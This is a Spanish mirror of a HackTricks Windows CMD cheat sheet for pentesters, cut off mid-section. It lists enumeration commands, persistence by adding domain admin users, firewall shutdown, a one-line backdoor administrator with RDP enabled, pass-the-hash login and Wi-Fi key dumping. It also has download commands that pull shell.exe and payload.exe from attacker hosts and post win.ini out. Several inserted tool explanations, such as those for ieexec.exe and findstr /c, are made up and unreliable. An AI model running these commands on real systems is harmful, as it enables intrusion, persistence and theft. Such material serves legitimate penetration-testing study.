mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
930 lines
37 KiB
Markdown
930 lines
37 KiB
Markdown
|
## CMD básico de Windows para Pentesters
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|||
|
|
|||
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|||
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|||
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
|||
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|||
|
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|||
|
|
|||
|
</details>
|
|||
|
|
|||
|
## Información del sistema
|
|||
|
|
|||
|
### Información de versión y parches
|
|||
|
```bash
|
|||
|
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
|
|||
|
systeminfo
|
|||
|
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
|
|||
|
wmic computersystem LIST full #Get PC info
|
|||
|
|
|||
|
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
|
|||
|
wmic qfe list brief #Updates
|
|||
|
|
|||
|
hostname
|
|||
|
|
|||
|
DRIVERQUERY #3rd party driver vulnerable?
|
|||
|
```
|
|||
|
### Entorno
|
|||
|
```bash
|
|||
|
set #List all environment variables
|
|||
|
```
|
|||
|
Algunas variables de entorno para destacar:
|
|||
|
|
|||
|
* **COMPUTERNAME**: Nombre del equipo
|
|||
|
* **TEMP/TMP:** Carpeta temporal
|
|||
|
* **USERNAME:** Tu nombre de usuario
|
|||
|
* **HOMEPATH/USERPROFILE:** Directorio de inicio
|
|||
|
* **windir:** C:\Windows
|
|||
|
* **OS**: Sistema operativo Windows
|
|||
|
* **LOGONSERVER**: Nombre del controlador de dominio
|
|||
|
* **USERDNSDOMAIN**: Nombre de dominio para usar con DNS
|
|||
|
* **USERDOMAIN**: Nombre del dominio
|
|||
|
```bash
|
|||
|
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
|
|||
|
```
|
|||
|
### Discos montados
|
|||
|
```bash
|
|||
|
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
|
|||
|
wmic logicaldisk get caption,description,providername
|
|||
|
```
|
|||
|
### [Defender](authentication-credentials-uac-and-efs.md#defender)
|
|||
|
|
|||
|
### Papelera de reciclaje
|
|||
|
```bash
|
|||
|
dir C:\$Recycle.Bin /s /b
|
|||
|
```
|
|||
|
### Procesos, Servicios y Software
|
|||
|
```bash
|
|||
|
schtasks /query /fo LIST /v #Verbose out of scheduled tasks
|
|||
|
schtasks /query /fo LIST 2>nul | findstr TaskName
|
|||
|
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
|
|||
|
tasklist /V #List processes
|
|||
|
tasklist /SVC #links processes to started services
|
|||
|
net start #Windows Services started
|
|||
|
wmic service list brief #List services
|
|||
|
sc query #List of services
|
|||
|
dir /a "C:\Program Files" #Installed software
|
|||
|
dir /a "C:\Program Files (x86)" #Installed software
|
|||
|
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software
|
|||
|
```
|
|||
|
## Información del dominio
|
|||
|
```bash
|
|||
|
# Generic AD info
|
|||
|
echo %USERDOMAIN% #Get domain name
|
|||
|
echo %USERDNSDOMAIN% #Get domain name
|
|||
|
echo %logonserver% #Get name of the domain controller
|
|||
|
set logonserver #Get name of the domain controller
|
|||
|
set log #Get name of the domain controller
|
|||
|
gpresult /V # Get current policy applied
|
|||
|
wmic ntdomain list /format:list #Displays information about the Domain and Domain Controllers
|
|||
|
|
|||
|
# Users
|
|||
|
dsquery user #Get all users
|
|||
|
net user /domain #List all users of the domain
|
|||
|
net user <ACCOUNT_NAME> /domain #Get information about that user
|
|||
|
net accounts /domain #Password and lockout policy
|
|||
|
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
|
|||
|
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
|
|||
|
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
|
|||
|
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.
|
|||
|
|
|||
|
# Groups
|
|||
|
net group /domain #List of domain groups
|
|||
|
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
|
|||
|
net group "Domain Admins" /domain #List users with domain admin privileges
|
|||
|
net group "domain computers" /domain #List of PCs connected to the domain
|
|||
|
net group "Domain Controllers" /domain #List PC accounts of domains controllers
|
|||
|
wmic group list /format:list # Information about all local groups
|
|||
|
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
|
|||
|
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
|
|||
|
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group
|
|||
|
|
|||
|
# Computers
|
|||
|
dsquery computer #Get all computers
|
|||
|
net view /domain #Lis of PCs of the domain
|
|||
|
nltest /dclist:<DOMAIN> #List domain controllers
|
|||
|
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
|
|||
|
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers
|
|||
|
|
|||
|
# Trust relations
|
|||
|
nltest /domain_trusts #Mapping of the trust relationships
|
|||
|
|
|||
|
# Get all objects inside an OU
|
|||
|
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
|
|||
|
```
|
|||
|
### Registros y Eventos
|
|||
|
```bash
|
|||
|
#Make a security query using another credentials
|
|||
|
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
|
|||
|
```
|
|||
|
## Usuarios y Grupos
|
|||
|
|
|||
|
### Usuarios
|
|||
|
```bash
|
|||
|
#Me
|
|||
|
whoami /all #All info about me, take a look at the enabled tokens
|
|||
|
whoami /priv #Show only privileges
|
|||
|
|
|||
|
# Local users
|
|||
|
net users #All users
|
|||
|
dir /b /ad "C:\Users"
|
|||
|
net user %username% #Info about a user (me)
|
|||
|
net accounts #Information about password requirements
|
|||
|
wmic USERACCOUNT Get Domain,Name,Sid
|
|||
|
net user /add [username] [password] #Create user
|
|||
|
|
|||
|
# Other users looged
|
|||
|
qwinsta #Anyone else logged in?
|
|||
|
|
|||
|
#Lauch new cmd.exe with new creds (to impersonate in network)
|
|||
|
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
|
|||
|
|
|||
|
#Check current logon session as administrator using logonsessions from sysinternals
|
|||
|
logonsessions.exe
|
|||
|
logonsessions64.exe
|
|||
|
```
|
|||
|
### Grupos
|
|||
|
```bash
|
|||
|
#Local
|
|||
|
net localgroup #All available groups
|
|||
|
net localgroup Administrators #Info about a group (admins)
|
|||
|
net localgroup administrators [username] /add #Add user to administrators
|
|||
|
|
|||
|
#Domain
|
|||
|
net group /domain #Info about domain groups
|
|||
|
net group /domain <domain_group_name> #Users that belongs to the group
|
|||
|
```
|
|||
|
### Listar sesiones
|
|||
|
```
|
|||
|
qwinsta
|
|||
|
klist sessions
|
|||
|
```
|
|||
|
### Política de contraseñas
|
|||
|
```
|
|||
|
net accounts
|
|||
|
```
|
|||
|
### Credenciales
|
|||
|
```bash
|
|||
|
cmdkey /list #List credential
|
|||
|
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
|
|||
|
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access
|
|||
|
```
|
|||
|
### Persistencia con usuarios
|
|||
|
```bash
|
|||
|
# Add domain user and put them in Domain Admins group
|
|||
|
net user username password /ADD /DOMAIN
|
|||
|
net group "Domain Admins" username /ADD /DOMAIN
|
|||
|
|
|||
|
# Add local user and put them local Administrators group
|
|||
|
net user username password /ADD
|
|||
|
net localgroup Administrators username /ADD
|
|||
|
|
|||
|
# Add user to insteresting groups:
|
|||
|
net localgroup "Remote Desktop Users" UserLoginName /add
|
|||
|
net localgroup "Debugger users" UserLoginName /add
|
|||
|
net localgroup "Power users" UserLoginName /add
|
|||
|
```
|
|||
|
## Red
|
|||
|
|
|||
|
### Interfaces, Rutas, Puertos, Hosts y DNSCache
|
|||
|
```bash
|
|||
|
ipconfig /all #Info about interfaces
|
|||
|
route print #Print available routes
|
|||
|
arp -a #Know hosts
|
|||
|
netstat -ano #Opened ports?
|
|||
|
type C:\WINDOWS\System32\drivers\etc\hosts
|
|||
|
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
|
|||
|
```
|
|||
|
### Firewall
|
|||
|
|
|||
|
Un firewall es un software o hardware que se utiliza para controlar el tráfico de red entrante y saliente. Su objetivo es proteger la red de posibles amenazas externas, como ataques de hackers o malware. Los firewalls pueden ser configurados para permitir o bloquear ciertos tipos de tráfico de red, y pueden ser personalizados para satisfacer las necesidades específicas de una organización. Es importante tener un firewall configurado adecuadamente para garantizar la seguridad de la red.
|
|||
|
```bash
|
|||
|
netsh firewall show state # FW info, open ports
|
|||
|
netsh advfirewall firewall show rule name=all
|
|||
|
netsh firewall show config # FW info
|
|||
|
Netsh Advfirewall show allprofiles
|
|||
|
|
|||
|
NetSh Advfirewall set allprofiles state off #Turn Off
|
|||
|
NetSh Advfirewall set allprofiles state on #Trun On
|
|||
|
netsh firewall set opmode disable #Turn Off
|
|||
|
|
|||
|
#How to open ports
|
|||
|
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
|
|||
|
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
|
|||
|
netsh firewall add portopening TCP 3389 "Remote Desktop"
|
|||
|
|
|||
|
#Enable Remote Desktop
|
|||
|
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
|
|||
|
netsh firewall add portopening TCP 3389 "Remote Desktop"
|
|||
|
::netsh firewall set service remotedesktop enable #I found that this line is not needed
|
|||
|
::sc config TermService start= auto #I found that this line is not needed
|
|||
|
::net start Termservice #I found that this line is not needed
|
|||
|
|
|||
|
#Enable Remote Desktop with wmic
|
|||
|
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
|
|||
|
##or
|
|||
|
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"
|
|||
|
|
|||
|
#Enable Remote assistance:
|
|||
|
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
|
|||
|
netsh firewall set service remoteadmin enable
|
|||
|
|
|||
|
#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
|
|||
|
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable
|
|||
|
|
|||
|
::Connect to RDP (using hash or password)
|
|||
|
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
|
|||
|
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
|
|||
|
```
|
|||
|
### Comparticiones
|
|||
|
```bash
|
|||
|
net view #Get a list of computers
|
|||
|
net view /all /domain [domainname] #Shares on the domains
|
|||
|
net view \\computer /ALL #List shares of a computer
|
|||
|
net use x: \\computer\share #Mount the share locally
|
|||
|
net share #Check current shares
|
|||
|
```
|
|||
|
### Wifi
|
|||
|
```bash
|
|||
|
netsh wlan show profile #AP SSID
|
|||
|
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass
|
|||
|
```
|
|||
|
### SNMP
|
|||
|
|
|||
|
El Protocolo Simple de Administración de Red (SNMP, por sus siglas en inglés) es un protocolo de red utilizado para administrar y supervisar dispositivos de red. SNMP permite a los administradores de red monitorear el rendimiento de los dispositivos de red, detectar y solucionar problemas de red y configurar dispositivos de red de forma remota. Los dispositivos de red que admiten SNMP tienen un agente SNMP que recopila información sobre el dispositivo y la envía a un servidor SNMP para su análisis.
|
|||
|
```
|
|||
|
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
|
|||
|
```
|
|||
|
### Interfaces de Red
|
|||
|
```bash
|
|||
|
ipconfig /all
|
|||
|
```
|
|||
|
### Tabla ARP
|
|||
|
```bash
|
|||
|
arp -A
|
|||
|
```
|
|||
|
## Descarga
|
|||
|
|
|||
|
Bitsadmin.exe
|
|||
|
```
|
|||
|
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
|
|||
|
```
|
|||
|
# CertReq.exe
|
|||
|
|
|||
|
CertReq.exe es una herramienta de línea de comandos que se utiliza para solicitar y emitir certificados digitales. Esta herramienta se utiliza comúnmente en entornos de Windows para automatizar el proceso de solicitud y emisión de certificados.
|
|||
|
|
|||
|
## Sintaxis
|
|||
|
|
|||
|
La sintaxis básica de CertReq.exe es la siguiente:
|
|||
|
|
|||
|
```
|
|||
|
certreq [opciones] [solicitud de certificado] [certificado emitido]
|
|||
|
```
|
|||
|
|
|||
|
## Opciones comunes
|
|||
|
|
|||
|
A continuación se presentan algunas de las opciones más comunes que se utilizan con CertReq.exe:
|
|||
|
|
|||
|
- `-new`: Crea una nueva solicitud de certificado.
|
|||
|
- `-submit`: Envía una solicitud de certificado a una autoridad de certificación (CA) para su emisión.
|
|||
|
- `-accept`: Acepta un certificado emitido y lo instala en el almacén de certificados local.
|
|||
|
- `-retrieve`: Recupera un certificado emitido de una CA.
|
|||
|
- `-sign`: Firma un archivo con un certificado digital.
|
|||
|
- `-policy`: Especifica la política de certificación que se utilizará para la solicitud de certificado.
|
|||
|
|
|||
|
## Ejemplos de uso
|
|||
|
|
|||
|
A continuación se presentan algunos ejemplos de cómo se puede utilizar CertReq.exe:
|
|||
|
|
|||
|
- Crear una nueva solicitud de certificado:
|
|||
|
|
|||
|
```
|
|||
|
certreq -new solicitud.inf certificado.cer
|
|||
|
```
|
|||
|
|
|||
|
- Enviar una solicitud de certificado a una CA:
|
|||
|
|
|||
|
```
|
|||
|
certreq -submit solicitud.req certificado.cer
|
|||
|
```
|
|||
|
|
|||
|
- Aceptar un certificado emitido y agregarlo al almacén de certificados local:
|
|||
|
|
|||
|
```
|
|||
|
certreq -accept certificado.cer
|
|||
|
```
|
|||
|
|
|||
|
- Recuperar un certificado emitido de una CA:
|
|||
|
|
|||
|
```
|
|||
|
certreq -retrieve 1234 certificado.cer
|
|||
|
```
|
|||
|
|
|||
|
- Firmar un archivo con un certificado digital:
|
|||
|
|
|||
|
```
|
|||
|
certreq -sign archivo.txt archivo.firmado.txt
|
|||
|
```
|
|||
|
|
|||
|
- Especificar la política de certificación que se utilizará para la solicitud de certificado:
|
|||
|
|
|||
|
```
|
|||
|
certreq -new solicitud.inf certificado.cer -policy "Política de certificación"
|
|||
|
```
|
|||
|
```
|
|||
|
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
|
|||
|
```
|
|||
|
Certutil.exe es una herramienta de línea de comandos que se utiliza para administrar certificados en sistemas operativos Windows. Puede ser utilizado para instalar, eliminar y administrar certificados y listas de revocación de certificados (CRL). También puede ser utilizado para codificar y decodificar archivos y para verificar la firma digital de archivos. Certutil.exe es una herramienta útil para los pentesters que buscan obtener información sobre los certificados instalados en un sistema y para manipularlos para llevar a cabo ataques.
|
|||
|
```
|
|||
|
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
|
|||
|
```
|
|||
|
`Desktopimgdownldr.exe`
|
|||
|
```
|
|||
|
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
|
|||
|
```
|
|||
|
Diantz.exe
|
|||
|
```
|
|||
|
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
|
|||
|
```
|
|||
|
Esentutl.exe es una herramienta de línea de comandos que se utiliza para realizar tareas de mantenimiento y recuperación en bases de datos de Microsoft Jet (.mdb) y bases de datos de almacenamiento de Windows (.edb). Algunas de las tareas que se pueden realizar con esta herramienta incluyen la reparación de bases de datos corruptas, la compresión de bases de datos y la eliminación de bases de datos no utilizadas. Es una herramienta útil para los pentesters que trabajan en entornos de Windows, ya que puede ayudar a identificar y solucionar problemas relacionados con las bases de datos.
|
|||
|
```
|
|||
|
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
|
|||
|
```
|
|||
|
`Expand.exe` es una herramienta de línea de comandos de Windows que se utiliza para descomprimir archivos comprimidos en formato .cab. Puede ser útil para los pentesters ya que algunos archivos .cab pueden contener información sensible o archivos maliciosos que pueden ser explotados. La sintaxis básica de `Expand.exe` es la siguiente:
|
|||
|
|
|||
|
```
|
|||
|
expand.exe <archivo.cab> [-r] [-d <ruta>]
|
|||
|
```
|
|||
|
|
|||
|
Donde:
|
|||
|
- `<archivo.cab>` es el archivo .cab que se desea descomprimir.
|
|||
|
- `-r` es una opción opcional que indica que se deben descomprimir todos los archivos y subdirectorios del archivo .cab.
|
|||
|
- `-d <ruta>` es una opción opcional que indica la ruta donde se deben descomprimir los archivos. Si no se especifica, los archivos se descomprimirán en el directorio actual.
|
|||
|
```
|
|||
|
expand \\webdav\folder\file.bat c:\ADS\file.bat
|
|||
|
```
|
|||
|
`Extrac32.exe` es una herramienta de línea de comandos en Windows que se utiliza para extraer archivos de un archivo comprimido. Es similar a la herramienta `expand.exe`, pero `Extrac32.exe` es capaz de manejar archivos comprimidos en formato CAB. Para utilizar `Extrac32.exe`, simplemente abra una ventana de línea de comandos y escriba el comando seguido del nombre del archivo comprimido y la ubicación donde desea extraer los archivos.
|
|||
|
```
|
|||
|
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
|
|||
|
```
|
|||
|
# Findstr.exe
|
|||
|
|
|||
|
`findstr` es una herramienta de línea de comandos que se utiliza para buscar cadenas de texto en archivos. Es muy útil para buscar información en archivos de registro, archivos de configuración y otros archivos de texto.
|
|||
|
|
|||
|
## Sintaxis
|
|||
|
|
|||
|
```
|
|||
|
findstr [opciones] cadena [archivo(s)]
|
|||
|
```
|
|||
|
|
|||
|
## Opciones
|
|||
|
|
|||
|
- `/i`: Ignora mayúsculas y minúsculas.
|
|||
|
- `/s`: Busca en subdirectorios.
|
|||
|
- `/n`: Muestra el número de línea junto con la cadena coincidente.
|
|||
|
- `/v`: Muestra las líneas que no contienen la cadena especificada.
|
|||
|
- `/c`: Cuenta el número de líneas que contienen la cadena especificada.
|
|||
|
- `/m`: Detiene la búsqueda después de encontrar una coincidencia.
|
|||
|
- `/r`: Utiliza expresiones regulares en lugar de cadenas literales.
|
|||
|
|
|||
|
## Ejemplos
|
|||
|
|
|||
|
- Buscar una cadena en un archivo:
|
|||
|
|
|||
|
```
|
|||
|
findstr "cadena" archivo.txt
|
|||
|
```
|
|||
|
|
|||
|
- Buscar una cadena en varios archivos:
|
|||
|
|
|||
|
```
|
|||
|
findstr "cadena" archivo1.txt archivo2.txt archivo3.txt
|
|||
|
```
|
|||
|
|
|||
|
- Buscar una cadena en todos los archivos de un directorio:
|
|||
|
|
|||
|
```
|
|||
|
findstr "cadena" *
|
|||
|
```
|
|||
|
|
|||
|
- Buscar una cadena en todos los archivos de un directorio y sus subdirectorios:
|
|||
|
|
|||
|
```
|
|||
|
findstr /s "cadena" *
|
|||
|
```
|
|||
|
|
|||
|
- Buscar una cadena en un archivo y mostrar el número de línea:
|
|||
|
|
|||
|
```
|
|||
|
findstr /n "cadena" archivo.txt
|
|||
|
```
|
|||
|
|
|||
|
- Buscar una cadena en un archivo y mostrar las líneas que no contienen la cadena:
|
|||
|
|
|||
|
```
|
|||
|
findstr /v "cadena" archivo.txt
|
|||
|
```
|
|||
|
|
|||
|
- Contar el número de líneas que contienen una cadena en un archivo:
|
|||
|
|
|||
|
```
|
|||
|
findstr /c "cadena" archivo.txt
|
|||
|
```
|
|||
|
|
|||
|
- Utilizar una expresión regular para buscar una cadena en un archivo:
|
|||
|
|
|||
|
```
|
|||
|
findstr /r "expresión regular" archivo.txt
|
|||
|
```
|
|||
|
```
|
|||
|
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe
|
|||
|
```
|
|||
|
# Ftp.exe
|
|||
|
|
|||
|
`ftp.exe` es una herramienta de línea de comandos que se utiliza para transferir archivos entre sistemas a través del protocolo FTP (File Transfer Protocol). Es una herramienta muy útil para los pentesters, ya que les permite transferir archivos desde y hacia un sistema comprometido.
|
|||
|
|
|||
|
## Comandos básicos
|
|||
|
|
|||
|
### Conexión
|
|||
|
|
|||
|
Para conectarse a un servidor FTP, se utiliza el siguiente comando:
|
|||
|
|
|||
|
```
|
|||
|
ftp <ip_address>
|
|||
|
```
|
|||
|
|
|||
|
### Inicio de sesión
|
|||
|
|
|||
|
Una vez conectado al servidor, se debe iniciar sesión con un nombre de usuario y una contraseña. Para hacerlo, se utiliza el siguiente comando:
|
|||
|
|
|||
|
```
|
|||
|
user <username> <password>
|
|||
|
```
|
|||
|
|
|||
|
### Descarga de archivos
|
|||
|
|
|||
|
Para descargar un archivo desde el servidor FTP, se utiliza el siguiente comando:
|
|||
|
|
|||
|
```
|
|||
|
get <filename>
|
|||
|
```
|
|||
|
|
|||
|
### Subida de archivos
|
|||
|
|
|||
|
Para subir un archivo al servidor FTP, se utiliza el siguiente comando:
|
|||
|
|
|||
|
```
|
|||
|
put <filename>
|
|||
|
```
|
|||
|
|
|||
|
### Cambio de directorio
|
|||
|
|
|||
|
Para cambiar el directorio actual en el servidor FTP, se utiliza el siguiente comando:
|
|||
|
|
|||
|
```
|
|||
|
cd <directory>
|
|||
|
```
|
|||
|
|
|||
|
### Listado de archivos
|
|||
|
|
|||
|
Para listar los archivos en el directorio actual del servidor FTP, se utiliza el siguiente comando:
|
|||
|
|
|||
|
```
|
|||
|
ls
|
|||
|
```
|
|||
|
|
|||
|
### Salida
|
|||
|
|
|||
|
Para salir de la sesión FTP, se utiliza el siguiente comando:
|
|||
|
|
|||
|
```
|
|||
|
bye
|
|||
|
```
|
|||
|
|
|||
|
## Ejemplo de uso
|
|||
|
|
|||
|
A continuación, se muestra un ejemplo de cómo utilizar `ftp.exe` para descargar un archivo desde un servidor FTP:
|
|||
|
|
|||
|
```
|
|||
|
ftp 192.168.1.100
|
|||
|
user username password
|
|||
|
get file.txt
|
|||
|
bye
|
|||
|
```
|
|||
|
```
|
|||
|
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
|
|||
|
```
|
|||
|
`GfxDownloadWrapper.exe`
|
|||
|
```
|
|||
|
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
|
|||
|
```
|
|||
|
Hh.exe es un ejecutable de Windows que se utiliza para mostrar archivos de ayuda HTML. Puede ser utilizado por los atacantes para ejecutar comandos arbitrarios en un sistema comprometido. Es importante tener en cuenta que hh.exe no es un archivo malicioso en sí mismo, sino que es una herramienta legítima que puede ser utilizada de manera malintencionada.
|
|||
|
```
|
|||
|
HH.exe http://some.url/script.ps1
|
|||
|
```
|
|||
|
# ieexec.exe
|
|||
|
|
|||
|
El archivo ieexec.exe es un ejecutable de Windows que se utiliza para ejecutar comandos de Internet Explorer desde la línea de comandos. Este archivo se encuentra en la carpeta System32 de Windows y se utiliza principalmente para automatizar tareas en Internet Explorer.
|
|||
|
|
|||
|
## Sintaxis
|
|||
|
|
|||
|
La sintaxis básica para utilizar ieexec.exe es la siguiente:
|
|||
|
|
|||
|
```
|
|||
|
ieexec.exe "comando"
|
|||
|
```
|
|||
|
|
|||
|
Donde "comando" es el comando que se desea ejecutar en Internet Explorer.
|
|||
|
|
|||
|
## Ejemplos de uso
|
|||
|
|
|||
|
### Abrir una URL en Internet Explorer
|
|||
|
|
|||
|
```
|
|||
|
ieexec.exe "https://www.google.com"
|
|||
|
```
|
|||
|
|
|||
|
### Ejecutar un script de JavaScript en una página web
|
|||
|
|
|||
|
```
|
|||
|
ieexec.exe "javascript:alert('Hola, mundo!');"
|
|||
|
```
|
|||
|
|
|||
|
### Cerrar todas las ventanas de Internet Explorer
|
|||
|
|
|||
|
```
|
|||
|
ieexec.exe "taskkill /f /im iexplore.exe"
|
|||
|
```
|
|||
|
|
|||
|
## Consideraciones de seguridad
|
|||
|
|
|||
|
El uso de ieexec.exe puede ser peligroso si se utiliza de manera malintencionada. Los atacantes pueden utilizar este archivo para ejecutar comandos maliciosos en un sistema comprometido. Por lo tanto, se recomienda restringir el acceso a ieexec.exe y monitorear su uso en entornos corporativos.
|
|||
|
```
|
|||
|
ieexec.exe http://x.x.x.x:8080/bypass.exe
|
|||
|
```
|
|||
|
# Makecab.exe
|
|||
|
|
|||
|
`Makecab.exe` es una herramienta de línea de comandos que se utiliza para comprimir uno o varios archivos en un archivo `.cab`. Este archivo comprimido puede ser útil para transferir archivos a través de la red o para ahorrar espacio en disco.
|
|||
|
|
|||
|
## Sintaxis
|
|||
|
|
|||
|
```
|
|||
|
makecab [/V[n]] [/D var=value ...] [/L dir] [/F directive_file] source [destination]
|
|||
|
```
|
|||
|
|
|||
|
## Ejemplos
|
|||
|
|
|||
|
Comprimir un archivo:
|
|||
|
|
|||
|
```
|
|||
|
makecab archivo.txt
|
|||
|
```
|
|||
|
|
|||
|
Comprimir varios archivos:
|
|||
|
|
|||
|
```
|
|||
|
makecab archivo1.txt archivo2.txt archivo3.txt
|
|||
|
```
|
|||
|
|
|||
|
Comprimir un archivo y especificar el nombre del archivo de destino:
|
|||
|
|
|||
|
```
|
|||
|
makecab archivo.txt archivo.cab
|
|||
|
```
|
|||
|
|
|||
|
Comprimir un archivo y especificar la ubicación del archivo de destino:
|
|||
|
|
|||
|
```
|
|||
|
makecab archivo.txt C:\carpeta\archivo.cab
|
|||
|
```
|
|||
|
|
|||
|
## Referencias
|
|||
|
|
|||
|
- [Microsoft Docs](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/makecab)
|
|||
|
```
|
|||
|
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
|
|||
|
```
|
|||
|
`MpCmdRun.exe` es una herramienta de línea de comandos que se utiliza para administrar y actualizar Windows Defender. Con esta herramienta, los pentesters pueden realizar análisis de seguridad en el sistema y verificar si hay algún malware presente. Algunos de los comandos útiles que se pueden utilizar con `MpCmdRun.exe` son:
|
|||
|
|
|||
|
- `MpCmdRun.exe -Scan -ScanType 2`: realiza un análisis completo del sistema en busca de malware.
|
|||
|
- `MpCmdRun.exe -SignatureUpdate`: actualiza las firmas de virus de Windows Defender.
|
|||
|
- `MpCmdRun.exe -RemoveDefinitions -All`: elimina todas las definiciones de virus antiguas de Windows Defender.
|
|||
|
- `MpCmdRun.exe -RestoreDefaults`: restaura la configuración predeterminada de Windows Defender.
|
|||
|
|
|||
|
Es importante tener en cuenta que `MpCmdRun.exe` requiere permisos de administrador para ejecutarse correctamente.
|
|||
|
```
|
|||
|
MpCmdRun.exe -DownloadFile -url <URL> -path <path> //Windows Defender executable
|
|||
|
```
|
|||
|
# Replace.exe
|
|||
|
|
|||
|
`Replace.exe` es una herramienta de línea de comandos que se utiliza para reemplazar archivos. Es útil para reemplazar archivos que están en uso y no se pueden eliminar o reemplazar de otra manera.
|
|||
|
|
|||
|
## Sintaxis
|
|||
|
|
|||
|
```
|
|||
|
